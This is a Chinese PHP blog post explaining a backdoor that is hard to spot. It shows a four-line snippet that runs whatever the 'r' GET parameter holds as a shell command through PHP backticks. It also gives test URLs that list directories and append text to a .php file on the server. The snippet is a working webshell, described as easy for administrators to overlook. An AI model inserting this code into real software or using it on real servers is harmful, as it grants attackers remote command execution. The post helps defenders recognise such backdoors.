一个不易被发现的PHP后门代码解析


Posted in PHP onJuly 05, 2014

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

PHP 相关文章推荐
对javascript和select部件的结合运用
Oct 09 PHP
URL Rewrite的设置方法
Jan 02 PHP
一个图形显示IP的PHP程序代码
Oct 19 PHP
PHPMyAdmin 快速配置方法
May 11 PHP
PHP关联链接常用代码
Nov 05 PHP
smarty模板局部缓存方法使用示例
Jun 17 PHP
PHP基本语法总结
Sep 06 PHP
初识laravel5
Mar 02 PHP
php 利用array_slice函数获取随机数组或前几条数据
Sep 30 PHP
在Laravel框架里实现发送邮件实例(邮箱验证)
May 20 PHP
laravel实现按时间日期进行分组统计方法示例
Mar 23 PHP
Laravel 5.5 异常处理 & 错误日志的解决
Oct 17 PHP
linux下使用crontab实现定时PHP计划任务失败的原因分析
Jul 05 #PHP
php操作redis中的hash和zset类型数据的方法和代码例子
Jul 05 #PHP
采用memcache在web集群中实现session的同步会话
Jul 05 #PHP
30个php操作redis常用方法代码例子
Jul 05 #PHP
PHP在网页中动态生成PDF文件详细教程
Jul 05 #PHP
PHP数组遍历知识汇总(包含遍历方法、数组指针操作函数、数组遍历测速)
Jul 05 #PHP
php遍历数组的4种方法总结
Jul 05 #PHP
You might like
php adodb连接带密码access数据库实例,测试成功
2008/05/14 PHP
PHP实现MySQL更新记录的代码
2008/06/07 PHP
奇怪的PHP引用效率问题分析
2012/03/23 PHP
微信公众号开发之文本消息自动回复php代码
2016/08/08 PHP
php使用正则表达式去掉html中的注释方法
2016/11/03 PHP
PHP实现的文件上传类与用法详解
2017/07/05 PHP
Pro JavaScript Techniques学习笔记
2010/12/28 Javascript
javascript针对DOM的应用实例(一)
2012/04/15 Javascript
Javascript开发之三数组对象实例介绍
2012/11/12 Javascript
利用ajaxfileupload插件实现文件上传无刷新的具体方法
2013/06/08 Javascript
javascript简单实现命名空间效果
2014/03/06 Javascript
javascript瀑布流布局实现方法详解
2016/02/17 Javascript
Angular ng-class详解及实例代码
2016/09/19 Javascript
require、backbone等重构手机图片查看器
2016/11/17 Javascript
8 行 Node.js 代码实现代理服务器
2016/12/05 Javascript
js自制图片放大镜功能
2017/01/24 Javascript
js中innerText/textContent和innerHTML与target和currentTarget的区别
2019/01/21 Javascript
微信小程序canvas截取任意形状的实现代码
2020/01/13 Javascript
vue+iview使用树形控件的具体使用
2020/11/02 Javascript
在Mac OS上部署Nginx和FastCGI以及Flask框架的教程
2015/05/02 Python
python使用logging模块发送邮件代码示例
2018/01/18 Python
详解Django中类视图使用装饰器的方式
2018/08/12 Python
实例分析python3实现并发访问水平切分表
2018/09/29 Python
pytorch GAN生成对抗网络实例
2020/01/10 Python
Tensorflow累加的实现案例
2020/02/05 Python
html5利用canvas绘画二级树形结构图的示例
2017/09/27 HTML / CSS
吃透移动端 Html5 响应式布局
2019/12/16 HTML / CSS
static关键字的用法
2013/10/07 面试题
大学生通用个人的自我评价
2014/02/10 职场文书
《乌塔》教学反思
2014/02/17 职场文书
2014全国两会心得体会
2014/03/17 职场文书
2014年党员自我评价材料
2014/09/22 职场文书
银行员工考核评语
2014/12/31 职场文书
个人承诺书格式范文
2015/04/29 职场文书
党支部创先争优公开承诺书
2015/04/30 职场文书
中学总务处工作总结
2015/08/12 职场文书